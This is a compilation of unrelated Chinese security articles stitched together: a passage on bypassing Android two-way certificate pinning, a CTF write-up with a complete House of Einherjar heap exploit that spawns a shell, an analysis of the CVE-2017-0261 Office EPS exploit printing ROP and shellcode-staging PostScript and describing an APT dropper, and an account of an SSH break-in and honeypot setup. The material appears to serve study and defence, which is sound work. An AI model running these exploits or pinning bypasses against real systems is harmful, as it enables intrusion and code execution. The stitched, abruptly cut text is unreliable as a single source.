**双向认证:apk客户端对服务器证书进行认证，服务器对客户端证书进行认证，防止证书被篡改。**
### 客户端
首先我们尝试使用 JustTrustMe.apk进行绕过，如果发现绕过不了，可能客户端还存在其他校验，这里发现一个还使用了，如下
下载[JustTrustMe](https://github.com/Fuzion24/JustTrustMe/)的源代码，进行编译，增加对这两个函数的hook，绕过拦截请求。重新编译绕过的[JustTrustMe1.apk](https://github.com/eseGithub/AndroidTools)
，下载安装如下:
勾选，重启设备 (真机需要重启设备xposed才能生效，模拟器软重启便可生效)，再次请求登录数据包，客户端返回：
成功绕过客户端验证，成功抓取数据包，查看服务端返回数据包
这里客户端可尝试frida hook进行绕过那个两个网络拦截方法，可自己尝试。
### 服务端
**服务器认证，是因为服务端存有客户端的公钥，客户端自己用私钥进行签名，服务端用公钥进行验证。**
因此，客户端私钥一般都是存放在apk本身内，在apk里找到私钥，便可利用私钥对证书进行签名。
1、拿到apk，如果存在壳，先进行脱壳，不存在，则直接查看apk的目录，在assets目录下发现了用于双向认证的证书库文件，
要使用证书库，我们还需要找到证书库的密码，jeb反编译apk，搜索字符串证书名字字符串 ：
反编译此方法：
发现证书调用KeyStore.getInstance方法进行签名，KeyStore.load的方法进行加载私钥，这里如果apk有壳（加固），可以通过hook这两个函数拿到签名方法与私钥。
伪造服务端信任证书，可使用Burpsuite进行操作，User options--->SSL--->Client SSL
Certificates，点击Add：
结果
再次抓包，如下:
成功绕过服务器校验。 | 社区文章 |
# PWN——House Of Einherjar CTF Wiki例题详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 写在前面
1. 主要内容：解释House Of Einherjar的攻击原理，并对CTF Wiki中PWN的House Of Einherjar部分的例题使用House Of Einherjar方法的解法做详细说明
2. 题目链接：https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad
3. 参考链接：https://wiki.x10sec.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar/
4. 有话要说：House Of Einherjar是一种功能强大的堆攻击方式，但CTF Wiki中并没有对该攻击方式的例题与脚本出详细解释。为了方便大家的学习，我将用我自己写的脚本对本题目做出详细解答。
本文章均使用64位程序进行解释。
本攻击方式适用于libc.2-23.so的链接库
## 0x01 什么是House Of Einherjar？
House Of
Einherjar是通过利用堆本身存在的溢出漏洞，通过修改、构造堆块的结构欺骗程序来实现让malloc分配几乎任意一个地址的chunk。从而实现任意地址控制的攻击方式。
我们来看一个例子，假设下面有三个堆块分布如下，并且有一个我们想要程序返回chunk的地址在堆块上方：
后向合并的代码：
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
如果我们通过漏洞将chunk2的prev_size位控制，并且将chunk2的prev_inuse位控制为\x00，那么在free(chunk2)时程序发现chunk2的prev_inuse位为0，就会发生后向合并。
程序会根据chunk2的prev_size位(由我们控制)去寻找它前面的假堆块，并且对该假堆块进行unlink操作，将假堆块和chunk2合并放回unsorted
bin中。如果成功绕过了unlink保护，那么我们就可以将一个我们想要控制的地址放入unsorted bin中了。
我们需要绕过的unlink的保护有：
// 由于 P 已经在双向链表中，所以有两个地方记录其大小，所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \
malloc_printerr ("corrupted size vs. prev_size");
// 检查 fd 和 bk 指针(双向链表完整性检查)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV);
对于第一个保护，我们可以通过构造target_addr处的值来进行绕过，只需要在target_addr +
0x8处构造一个fake_size(prev_inuse设置为1)，并且在target_addr +
fake_size处写入fake_size来冒充fake_chunk的nextchunk的prev_size域即可绕过保护。例子如下：
注意，fake_chunk’s
nextchunk根本就不是一个chunk，它既不是我们构造的假chunk，也不是原来真实存在的chunk，它仅仅是一个unlink后向合并检查的数据地址罢了
这样，我们绕过了第一个保护。然后我们来绕过第二个保护：将target_addr(fake_chunk)的下一行的两处写入target_addr的地址，即可绕过unlink的第二个保护。
第二个保护执行后的堆块分布：
这样，我们就能成功free(chunk2)后将fake_chunk与chunk2合并到unsorted bin中。
接下来，我们需要将chunk2申请回来，申请回来时需要绕过另一个保护，把我们原来写入的一行target_addr的地址换成main_arena +
88(unsorted bin中只有一个堆块时fd和bk都需要指向main_arena + 88的位置)，否则分配时会发生内存异常。
成功Free后，我们将堆块改写成这样：
这样我们再malloc一个(0xf8)大小的堆块时，程序就会返回我们的fake_chunk给我们了。这就是House Of Einherjar的一个用法。
House Of Einherjar的本例中需要满足的条件：
1. 我们的target_addr是可控的，我们需要在上面构造fake_chunk并绕过unlink和unsorted bin的保护。
2. 我们需要知道target_addr和chunk之间的地址偏移，用来写入prev_size位。
3. 我们需要有溢出漏洞来改写chunk的prev_inuse位。
4. 至于chunk的prev_size位，我们可以通过申请(0x*f8)大小的堆块来直接使用chunk的prev_size位，不需要利用漏洞，因为堆块之间的prev_size位是共用的。
## 0x02 程序分析与注意事项
先请读者下载题目并且用反编译软件阅读程序的大致流程，题目链接在文章起始处,CTF Wiki上也有程序的链接。
程序的保护：没有开启PIE。全局变量和代码段位置固定
程序的独有数据结构：tinypad
tinypad的结构如下图所示：
tinypad的前256字节是数据缓冲区，是用来存储用户edit操作时的数据的，从256字节开始，分别存储四个堆块的大小和地址。
下面介绍程序几大功能：
1、程序有alloc功能，但是最多只能alloc4个堆块。在alloc过程中是用read对堆块内容直接进行写入的，所以alloc时可以任意写入堆块的数据。alloc最大大小为0x100字节。
2、程序有edit功能，但edit在读入chunk的数据时，会先计算len =
strlen(chunk)，然后再向tinypad缓冲区部分读入长度为len的数据，然后再将数据通过strcpy拷贝回原来的chunk中。edit功能比较重要，它不仅可以改变chunk中的内容，还可以改变tinypad缓冲区的内容。我们把tinypad附近的地址当成target_addr时，edit功能也可以用来构造fake_chunk，这样可以让malloc返回tinypad附近的值给我们。但是
edit函数也有缺陷，缺陷在于堆块不可以写入比以前strlen还长的数据(因为以len长度为上限，只能读取len个字节)。edit操作先将数据写入tinypad的缓冲区中，这一步是用read实现的，所以说我们将数据写入tinypad时是可以任意写入的。但是拷贝回原堆块时，使用strcpy实现的，会有\x00截断。所以数据中如果有\x00，则不能在\x00后写入数据了。
edit的部分代码如下：
3、程序有show功能，程序每执行一次操作后都会自动打印出4个堆块的内容。
4、程序有delete功能，但是delete后没有对堆块指针赋空值，蹲在UAF的漏洞，我们可以利用这一点与show功能快速泄露libc和heap的地址。
注意事项：edit函数并不一定是要向堆块中写入数据，也有可能是为了向tinypad中写入数据。当edit函数中存在\x00后的数据时(例如p64(0) +
p64(0x602040))，就是为了向tinypad中写入数据。这一点很重要，会对exp的理解有很大帮助。本题的index是从1开始的，而不是0。
## 0x03 开始写exp
为了讲解方便，我将程序的libc重定向为我glibc-all-in-one中下载的libc.2-23.so版本，可以看到调试过程中的程序结构。
根据程序的功能，先def几个函数便于操作，并且把one_gadget找到：
from pwn import *
p = process("./tinypad")
libc = ELF("/home/wbohan/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level = 'debug'
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
def alloc(size, content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
def edit(index, content):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil('CONTENT: ')
retstr = p.recvuntil('\n')
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
p.sendline('Y')
return retstr
## 0x04 地址泄露
通过利用UAF漏洞，我们可以直接泄露heap和libc的地址。首先申请两个fastbin大小的堆块(index 1,index
2)，然后申请一个不是fastbin大小的堆块(index 3)，最后申请一个堆块(index 4)用于隔断top chunk。
对index2进行释放，然后再对index1进行释放，这样index2的地址就会存储在index1的fd中(fastbin)，我们就可以得到index2的堆块地址。
然后释放index3，由于index3不是fastbin大小的堆块，会被程序放入unsortedbin中。这个堆块的fd和bk都会存储main_arena
+ 88,这样就能得到heap和libc地址了。最后把index4释放掉，便于我们重新分配堆块。
#1 leak heap addr and libc addr
alloc(0x40,'a')#idx1
alloc(0x40,'b')#idx2
alloc(0x80,'c')#idx3
alloc(0x18,'d')#idx4
delete(2)#fastbin
delete(1)#fastbin
delete(3)#unsorted bin
delete(4)
p.recvuntil('CONTENT: ')
buf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))#堆块1的内容
p.recvuntil('CONTENT: ')
p.recvuntil('CONTENT: ')
libc_base = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0x7f8c12b7ab78 + 0x7f8c127b6000 #堆块3的内容是main_arena + 88,根据它与libc之间的偏移算出libc的基址
main_arena_88 = libc_base + 0x7f8c12b7ab78 - 0x7f8c127b6000
这样，我们就很轻松地得到了heap地址和libc地址。
## 0x05 构造House Of Einherjar
得到了heap地址和libc地址之后，我们也得到了one_gadget的地址，下面我们需要将我们的one_gadget写到程序可以运行的地方去。我们可以通过改写tinypad中存储的堆块指针然后edit来实现任意地址写数据的目的。这要求我们需要控制tinypad的存储堆块指针那片区域中的内容。如果我们可以把tinypad中存储的堆块指针覆写，并且指向程序可以运行到的地方，比如将堆块指针覆写为main函数的返回地址处，修改返回地址为one_gadget，我们就可以让程序返回时拿到shell了。但是tinypad通过正常读写的方式只能影响到前256个字节，如果要影响后面的字节，需要在tinypad上做一个fake_chunk出来。由于我们fake_chunk可写的大小也是0x100(因为alloc的大小最大就是0x100)，所以我们不能把fake_chunk构造到tinypad的头部，而是要把它构造在tinypad数据缓冲区的中间(我将fake_chunk的其实地址改写到&tinypad
+ 0x20处，即tinypad数据缓冲区下两行处。)
下图是我们将要构造的fake_chunk位置解释：
回顾0x01中，House Of Einherjar的利用要求，我们是否满足了要求？
House Of Einherjar的本例中需要满足的条件：
1. 我们的target_addr是可控的，我们需要在上面构造fake_chunk并绕过unlink和unsorted bin的保护。
2. 我们需要知道target_addr和chunk之间的地址偏移，用来写入prev_size位。
3. 我们需要有溢出漏洞来改写chunk的prev_inuse位。
4. 至于chunk的prev_size位，我们可以通过申请例如0x18,0x28,0x38大小的堆块来直接使用chunk的prev_size位，不需要利用漏洞，因为堆块之间的prev_size位是共用的。
第一点，我们的target_addr是可以用edit来进行控制的，因为edit功能会先在tinypad上写数据。
第二点，地址偏移也是我们知道的，程序没有PIE保护，tinypad的地址就是0x602040，堆块地址我们已经泄露出来了
第三点，有一个比较明显的off by one的漏洞(off by
null),如前面所说，edit函数通过strcpy的方式来讲我们的输入拷贝回原来的堆块的。如果我们申请一个大小为0x18的堆块chunk1，将它用字母a全部填充满,紧贴着在它后面申请一个大小为0xf0的chunk2，然后对chunk1进行edit操作，再输入0x18个字母a回去。chunk2的prev_size位就被覆盖为0x00了。
第四点，我们可以对chunk1进行edit操作来对chunk2的prev_size位进行修改。这里需要注意的是，edit函数使用strcpy实现堆块修改的，strcpy遇到\x00会截断，所以一次只能修改一个字节为\x00。
chunk1中我们全部写入了字母a，最后的8个字母a需要被我们改写成OFFSET。我们需要写入多个\x00，这就说明我们需要执行多次edit操作来写入OFFSET。
第三点这一个过程的演示入下：
首先，chunk1 = malloc(0x18)，将chunk1全部填充为’a’。然后执行chunk2 =
malloc(0xf0)。此时的堆块内容如图所示：
然后，对chunk1进行edit操作，输入0x18个‘a’回去，此时堆块内容如图所示：
最后我们就可以把OFFSET写入chunk2的prev_size位了。然后我们就可以去构造fake_chunk了。
offset = buf_addr + 0x100 - 0x602060
alloc(0x18,'e' * 0x18)#idx1
alloc(0xf0,'e' * 0xf0)#idx2
alloc(0x100,'f' * 0xf8)#idx3
alloc(0x100,'g' * 0x100)#idx4
edit(1,'a' * 0x18) #覆盖idx2的preinuse
len_of_zero = (18 - len(str(hex(offset))))/2 #需要覆盖的0的个数
for i in range(len_of_zero):
edit(1,'a' * (0x17 - i))
edit(1,'a' * 0x10 + p64(offset))
构造fake_chunk时，我们需要向tinypad中写入数据。就需要利用到edit功能来先向tinypad的数据缓冲区中写入数据。根据再0x01中提到的方法，这里不再赘述，直接给予代码和注释。
fake_chunk = 'd' * 0x20 + p64(0) + p64(0x101) + p64(0x602060) * 2 #构造fake_chunk到0x602060.绕过unlink第二个保护
edit(2,fake_chunk)#write fake_chunk to tinypad
delete(2) #我们不需要构造fakechunk's nextchunk的size位来绕过第一个保护,因为通过计算，这个需要我们构造的地方的值是chunk2的size，恰好就是0x100，所以不需要修改，也可以绕过unlink第一个保护
payload2 = 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena_88) * 2
edit(4,payload2)#成功free后，需要把合并后的堆块fd和bk修改为main_arena + 88
当我们再申请一个0xf8大小的堆块时，程序就会把tinypad+0x20处的地址返回给我们了。我们就可以修改从tinypad+0x20开始，0x100大小的数据，tinypad+0x100处存储了第一个堆块的size和ptr，tinypad+0x110处存储了第二个堆块的size和ptr。这两个堆块的ptr我们已经可以进行修改了。
由于malloc_hook处的值是0，我们无法通过edit的方式把onegadget写入malloc_hook(因为malloc_hook的strlen是0，无法读入数据)。那么我们就可以通过修改函数的返回地址为onegadget。
修改函数的返回地址需要把程序保存返回地址的位置的值修改掉。我们需要泄露栈地址。libc中有一个符号’environ’存储了栈中的一个地址。我们可以利用它来得到栈地址。
将chunk1的地址改成environ的地址，目的是通过show得到environ中的数据(一个栈地址)。将chunk2的地址改成保存chunk1的地址处的地址(0x602148)，目的是方便修改chunk1的指针值。
environ_addr = libc_base + libc.sym['__environ']#得到environ的地址
payload3 = 'a' * 0xd0 + p64(0x18) + p64(environ_addr) + p64(0x100) + p64(0x602148)
alloc(0x100 - 8,payload3)#idx2，得到tinypad+0x20处的fake_chunk,并构造堆块上的内容，覆盖chunk1和chunk2的ptr
p.recvuntil('CONTENT: ')
stack_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))#得到environ中的栈地址
ret_addr = stack_addr + 0x7ffd2bad3188 - 0x7ffd2bad3278#得到返回地址，这个偏移可以通过调试获得。
log.success('stack_addr: %s' % hex(stack_addr))
one_gadget_addr = libc_base + one_gadget[0]#onegadget地址
## 0x06 漏洞利用
到了最后一步了，我们获得了函数的返回地址ret_addr，刚才我们申请fake_chunk是修改了chunk1和chunk2的指针，chunk2中保留的是0x602148，正好是存储chunk1的指针的地方。因为libc和栈的其实地址一般都是0x7f，并且长度都是12个16进制数。所以这里我们可以直接通过edit
chunk2来修改chunk1的指针为ret_addr。最后再edit
chunk1，将返回地址处保留的值改成one_gadget。返回地址处原先保留的值也是一个以0x7f开头，长度是12个16进制数的地址。所以这里edit函数也可以实现我们想要的功能，不会因为长度问题截断。
全部写好后，我们输入Q，让程序退出，就能拿到shell了。
edit(2,p64(ret_addr))#修改chunk1的指针为ret_addr
edit(1,p64(one_gadget_addr))#将ret_addr中的值改成one_gadget
p.recvuntil('(CMD)>>> ')
p.sendline('Q')#程序退出，获得shell
p.interactive()#进行交互操作
最后脚本执行的结果：
##
## 0x07 个人心得
这道题目我从开始到解出再到写完文章花了两天的时间，里面穿插了很多保护绕过的技术。通过不断的调试，不断分析问题才最后靠自己解出这道题目。这道题目加深了我对堆保护技术绕过的印象，也让我知道了一种可以泄露栈地址的方法，同时也加深了unlink的各种操作的理解。（这两天我还去复习了unlink的各种合并检查操作）。总之，堆是pwn的基础，打好基础，熟练掌握各种攻击方式，才能在比赛中熟练综合运用。
如果exp尝试失败，可能是环境原因，也有可能是堆的地址含有\x00被截断了。前者可以自行调试环境，后者可以多尝试几次。
## 0x08 exp
from pwn import *
p = process("./tinypad")
libc = ELF("/home/wbohan/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
context.log_level = 'debug'
one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]
def alloc(size, content):
p.recvuntil("(CMD)>>> ")
p.sendline("A")
p.recvuntil("(SIZE)>>> ")
p.sendline(str(size))
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
def delete(index):
p.recvuntil("(CMD)>>> ")
p.sendline("D")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
def edit(index, content):
p.recvuntil("(CMD)>>> ")
p.sendline("E")
p.recvuntil("(INDEX)>>> ")
p.sendline(str(index))
p.recvuntil('CONTENT: ')
retstr = p.recvuntil('\n')
p.recvuntil("(CONTENT)>>> ")
p.sendline(content)
p.recvuntil("(Y/n)>>> ")
p.sendline('Y')
return retstr
#1 leak heap addr and libc addr
alloc(0x40,'a')#idx1
alloc(0x40,'b')#idx2
alloc(0x80,'c')#idx3
alloc(0x18,'d')#idx4
delete(2)#fastbin
delete(1)#fastbin
delete(3)#unsorted bin
delete(4)
p.recvuntil('CONTENT: ')
buf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))
p.recvuntil('CONTENT: ')
p.recvuntil('CONTENT: ')
libc_base = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00')) - 0x7f8c12b7ab78 + 0x7f8c127b6000
main_arena_88 = libc_base + 0x7f8c12b7ab78 - 0x7f8c127b6000
log.success('buf_addr: %s' % hex(buf_addr))
log.success('libc_base: %s' % hex(libc_base))
#gdb.attach(p)
#pause()
#2
offset = buf_addr + 0x100 - 0x602060
log.success('offset: %s' % hex(offset))
alloc(0x18,'e' * 0x18) #idx1
alloc(0xf0,'e' * 0xf0)#idx2
alloc(0x100,'f' * 0xf8)#idx3
alloc(0x100,'g' * 0x100)#idx4
len_of_zero = (18 - len(str(hex(offset))))/2
edit(1,'a' * 0x18)#idx2 preinuse
for i in range(len_of_zero):
edit(1,'a' * (0x17 - i))
edit(1,'a' * 0x10 + p64(offset))
fake_chunk = 'd' * 0x20 + p64(0) + p64(0x101) + p64(0x602060) * 2
edit(2,fake_chunk)#write fake_chunk to tinypad
delete(2)
payload2 = 'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena_88) * 2
edit(4,payload2)
environ_addr = libc_base + libc.sym['__environ']
payload3 = 'a' * 0xd0 + p64(0x18) + p64(environ_addr) + p64(0x100) + p64(0x602148)
alloc(0x100 - 8,payload3)#idx2
p.recvuntil('CONTENT: ')
stack_addr = u64(p.recvuntil('\n',drop = True).ljust(8,'\x00'))
ret_addr = stack_addr + 0x7ffd2bad3188 - 0x7ffd2bad3278
log.success('stack_addr: %s' % hex(stack_addr))
one_gadget_addr = libc_base + one_gadget[0]
edit(2,p64(ret_addr))
edit(1,p64(one_gadget_addr))
p.recvuntil('(CMD)>>> ')
p.sendline('Q')
p.interactive() | 社区文章 |
## 0x01 漏洞描述
* 成因：打开Office文档时，FLTLDR.EXE将被用于渲染包含该漏洞的嵌入式EPS文件。该文件是由PostScript语言编写而成，可以被攻击者通过"save-restore"操作利用，其本质为一UAF漏洞。 当用户打开包含格式错误的图形图像的文件时，或者当用户将格式错误的图形图像插入到 Office 文件时，该漏洞可能会受到利用。
* 影响版本：Microsoft Office 2010 Service Pack 2、Microsoft Office 2013 Service Pack 1、Microsoft Office 2016
* POC：[kcufId's Github](https://github.com/kcufId/eps-CVE-2017-0261)
## 0x02 POC分析
>
> 笔者在网上寻找许久，并未找到包含EPSIMP32.FLT的Office安装包。幸而kcufId师傅提供了一LoadEps.exe用以加载EPS文件，感谢kcufId师傅。
`LoadEps.exe`先是加载`EPSIMP32.FLT`：
之后调用`ImportGr`开始加载EPS文件：
于此处直接F7跟进，然后就可以成功断在EPSIMP32.FLT内所设断点。
* * *
在进入正题之前，先来铺陈下Postscript对象结构。
// PostScript Object
struct PostScript object
{
dword type;
dword attr;
dword value1;
dword value2; // if array, point to userdict where store the array object
}ps_obj;
其中不同`type`对应数值如下：
0x0 nulltype
0x3 integertype
0x5 realtype
0x8 booleantype
0x10 operatortype
0x20 marktype
0x40 savetype
0x300 nametype
0x500 stringtype
0x900 filetype
0x30000 arraytype
0x0B0000 packedarraytype
0x70000 packedarraytype
0x110000 dicttype
0x210000 gstatetype
以字符串为例，阐述其存储结构。对`forall`函数设置断点，便可以进一步查看其如何处理字符串(如何定位`forall`函数，可参阅<https://paper.seebug.org/368/)。>
1号图片对应`ps_obj`，其`value2`项指向索引列表中所对应项(2号图片)；索引项指向一大小为0x30的结构，该结构0x24位置保存一指向大小为0x28结构(5号图片)的指针的指针，0x2C位置保存字符串大小(3号图片)；5号图片中结构0x4位置存储该结构于索引列表中对应项的地址(即4号图片的0x01DB5E94)，0x20位置指向字符串最终存储位置(6号图片)，0x24位置为实际所占内存大小——字符串大小+1。
大小为0x30结构：
+0x0 dword
+0x4 dword
+0x8 dword
+0xc dword
+0x10 dword
+0x14 dword
+0x18 dword
+0x1c dword
+0x20 dword
+0x24 dword pp_struct //指向大小为0x28结构的指针的指针
+0x28 dword
+0x2c dword size //字符串实际大小
大小为0x28结构(换作数组，该结构大小为0x2C，且0x28位置指向数组元素，每一元素都是`ps_obj`)：
+0x0 dword
+0x4 dword //存储该结构于索引列表中对应项的地址
+0x8 dword
+0xc dword
+0x10 dword
+0x14 dword
+0x18 dword
+0x1c dword
+0x20 dword ptr_object //指向字符串最终存储位置
+0x24 dword size //实际所占内存大小，字符串实际大小+1
* * *
漏洞第一次触发：
首先是将VM状态保存在`l62`变量内，之后对于`l63`变量内每一字符调用`l61`——>>`l59`——>>`l56`处理过程；`l62
restore`恢复之前的状态，如此一来，`/l62 save def`语句后面`l63`申请的内存空间会被释放，从而成为悬挂指针。
`l95-l99`变量决定了后续流程，其值均为0(即32位)：
漏洞第二次触发，首先是申请0x27大小(实际会占用0x28)的内存空间存储`l63`：
之后`l62
restore`恢复之前的状态，导致`l63`申请的内存空间被释放，从而成为悬挂指针；接下来执行`l100`，之前`l63`所占用内存空间会用来存储`l102`(即`l136`)字符串的0x28结构(这就解释了`l63`为何会申请0x27大小内存空间)：
分别获取该结构0x4、0x20、0x24位置的数值：
最后修改`l136`字符串内容(图中仅展示了部分修改之处)：
这些修改内容是精心构造的，会于第三次触发漏洞时用到。
漏洞第三次触发，申请包含0x37个元素的数组，之后在循环到第0x34个元素时执行`l62 restore`：
执行完`restore`之后，数组的0x30结构被`l193`字符串内容覆盖：
如此一来，最后一次(0x36)`forall`过程所执行的对象便成为上图中0x30结构，而获取其第0x36个元素便会来到第二次漏洞触发时所精心构造的字符串处：
而其获取到的数组元素是一大小为4的数组，该数组首元素是一起始地址为0，大小为0x7FFFFFFF的字符串：
该数组会存储在`l159`变量中，其首元素——起始地址为0，大小为0x7FFFFFFF的字符串会存储在`l201`变量中，之后便可通过`l201`变量获取任意地址的值。
获取kernel32.dll基址：
如此一来，`l314`变量内存储的便是EPSIMP32.FLT基址。
注：`search`命令语法如下：
查找指定gadget：
构造`file`类型结构：
l199 l201 get_dword
/l487 exch def
l487 l201 get_dword
/l488 exch def
l488 36 my_add l201 get_dword
/l489 exch def
l489 l201 get_dword
/l490 exch def
l490 32 my_add l201 get_dword
/l491 exch def
l199 l491 l201 put_data_to_array
l199 12 my_sub 2304 l201 put_data_to_array
向`l492`地址(`l491`+0x32)处写入构造数据：
l492 0 l201 put_data_to_array %% 0x00 0
l492 4 my_add l375 l201 put_data_to_array %% 0x04 Address of <5E C3>
l492 8 my_add l373 l201 put_data_to_array %% 0x08 Address of <94 00 00 00 00 5E C3>
l492 12 my_add l377 l201 put_data_to_array %% 0x0C Address of <C2 0C 00>
l492 16 my_add l370 l201 put_data_to_array %% 0x10 Address of VirtualProtect()
l492 20 my_add 0 l201 put_data_to_array %% 0x14 0
l492 24 my_add 0 l201 put_data_to_array %% 0x18 0
l492 28 my_add 0 l201 put_data_to_array %% 0x1C 0
l492 32 my_add l368 l201 put_data_to_array %% 0x20 Address of Shellcode
l492 36 my_add l368 l201 put_data_to_array %% 0x24 Address of Shellcode——lpAddress
l492 40 my_add l349 l201 put_data_to_array %% 0x28 Size of Shellcode——dwSize
l492 44 my_add 64 l201 put_data_to_array %% 0x2C PAGE_EXECUTE_READWRITE——flNewProtect
l492 48 my_add l493 l201 put_data_to_array %% 0x30 lpflOldProtect
最后，执行`closefile`指令时跳转至Shellcode：
## 0x03 样本分析
EPS利用脚本位于`\word\media`目录下，解压之后即可看到。该漏洞利用样本除Shellcode部分，其余基本一致，故以Patchword组织某样本为例进行分析。
> 文件名：Cyber_Secure_Pakistan.docx
>
> MD5：DD89BBB916A2C909630EC78CBB0E13E5
跳转到Shellcode，恢复堆栈：
申请内存：
获取函数调用地址：
调试过程中，可能是因为环境问题导致`CreateToolhelp32Snapshot`函数调用地址未成功获取：
手动填入地址并打开Word以继续分析。枚举进程，查找WINWORD.exe：
于`C:\ProgramData\Microsoft\DeviceSync`目录下创建一名为MSBuild.exe的程序：
写入文件内容，其内容存储于EPS脚本的`payload_32`变量内：
创建vmtools.dll文件：
写入文件内容，其内容存储于EPS脚本的`payload_32_f2`变量内：
创建VMwareCplLauncher.exe文件：
其内容存储于EPS脚本的`payload_32_f1`变量内：
该文件是具有Vmware签名的白文件：
注入如下内容到explorer.exe中：
其功能为创建VMwareCplLauncher.exe进程：
之后流程于360此篇[报告](https://www.freebuf.com/vuls/157694.html)有提及，本文暂不涉及其分析部分：
有兴趣的读者可以进一步阅读该报告。
注：该漏洞的利用样本基本相似，不同之处在于最后的MSBuild.exe载荷，其存储于EPS脚本的`payload_32`变量内，可直接dump出来，填补完DOS文件头之后便可以拖进IDA分析。
## 0x04 参阅链接
* [EPS Processing Zero-Days Exploited by Multiple Threat Actors](https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html)
* [CVE-2015-2545 Word 利用样本分析](https://paper.seebug.org/368/)
* [PostScript LANGUAGE REFERENCE](https://web.archive.org/web/20170218093716/https://www.adobe.com/products/postscript/pdfs/PLRM.pdf)
* [摩诃草组织最新漏洞攻击样本分析及预警](https://www.freebuf.com/vuls/157694.html) | 社区文章 |
# 从被入侵到蜜罐搭建再到日志审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
一切的起因是在我大半夜3点被一条腾讯云的告警短信吵醒的，由于学生云快到期又没办法续费的情况下，各种捣鼓重装，玩各种环境，方便起见都设的弱密码，结果大半夜的就被人爆出来密码然后挂了个挖矿jio本，作为一个(弱)安全研究人员，被打了当然不能就这么算了，所以稍微溯源了一下
## 溯源(day1)
最开始我除了修改了服务器的密码没有做任何的措施，所以被很轻松的入侵进来，等我看到腾讯云的告警上线查看时，原来的密码已经登录不上了
这时靠着腾讯云的重置密码把密码改回来才登录上服务器
接着就是查看告警的`~/.bashtemp`路径
我们能得到这样的一个目录结构
执行top指令会发现有一个占了你99%cpu的cron在跑
先进`.bashtemp`看看里面的
一级目录下只有对应对应的绝对路径和定时任务脚本
然后`a`目录下就是很平淡无奇的挖矿脚本，启动、停止脚本
比较有点东西的在`b`里的`run`
大概能猜到这是一个perl写的后门并base64加密过了，然后下面`rm -rf
.ssh`的操作也让我们知道为什么原先已加过authorized_keys的机子没办法直接登录
然后我们稍微把perl后门base64解一下，然后发现还有perl混淆
解下混淆我们就能看到对应的后门源码了
然后发现了个ip，稍微查了下来自欧盟，但这范围也太大了，我不喜欢，于是我就接着去有没有相关信息，最终在netstat里发现有个未知ip连着ssh端口就稍微查了一下
感觉像是个管理后门的服务器(当时域名还无法加载，在写的时候又去看了看发现已经挂上Univention Corporate Server)
> 由于这个主机只连上了一会，所以没来得及截图(可惜)
之后连的ip就只有perl后门所指定的ip了，当时差不多凌晨三四点了，实在顶不住就去睡了
## 蜜罐搭建(day2)
只有被打完的结果却不知道怎么被打的，进来后怎么操作的，所以试了一波蜜罐搭建来请君入瓮
这里我选择的是用[cowrie](https://github.com/cowrie/cowrie)来搭建，为了查看日志方便就不用docker，直接按文档来安装
（本人环境为ubuntu18.04）
### step 1(安装依赖)
sudo apt-get install -y git python-virtualenv libssl-dev libffi-dev build-essential libpython-dev python2.7-minimal authbind
### step 2(新建蜜罐用户)
sudo adduser --disabled-password cowrie
sudo su - cowrie
### step 3(把cowrie项目 git下来)
git clone http://github.com/cowrie/cowrie
### step 4(切换到项目根目录&&安装虚拟python环境)
cd ~/cowrie
virtualenv --python=python3 cowrie-env
此时终端应该变成类似`(cowrie-env) $`的样子
如果没有请在bash下重新操作试试
### step 5(进入虚拟环境里安装好对应的库)
source cowrie-env/bin/activate
pip install --upgrade pip
pip install --upgrade -r requirements.txt
### step 6(修改配置文件)
这里由于只是要收集由ssh手段进入服务器的操作所以只要修改`[telnet]`下的false为true就行了
cd etc
cp cowrie.cfg.dist cowrie.cfg
### step 7(启动环境)
./cowrie start
### step 8(修改ssh默认端口&&转发端口)
注意：这里要先切root账户再进行以下操作
先打开`/etc/ssh/sshd_config`找到`Port 22`修改22为你想要的端口，然后重启ssh服务
再通过`sudo netstat -tunlp | grep ssh`来查看是否修改成功
sudo service ssh restart
sudo netstat -tunlp | grep ssh
然后将`2222`端口的流量转发到`22`
sudo iptables -t nat -A PREROUTING -p tcp --dport 2222 -j REDIRECT --to-port 22
然后蜜罐到这里就算是搭建完成了，等鱼上钩
## 日志审计（day3）
鱼儿上钩的总是那么快，直接把工具都扔上来了
我们本着研究的态度拿来看看
大概就是这个文件包没跑了，锁定这个ip看看还干了些啥
该说不愧是想要挖矿的，上来就是找cpu核数
这里解释下这个指令的意思，chpasswd是批量更新用户口令的一个指令，这里被用于更改root用户本身的密码
紧接着对方就开始收集服务器的mem状态了
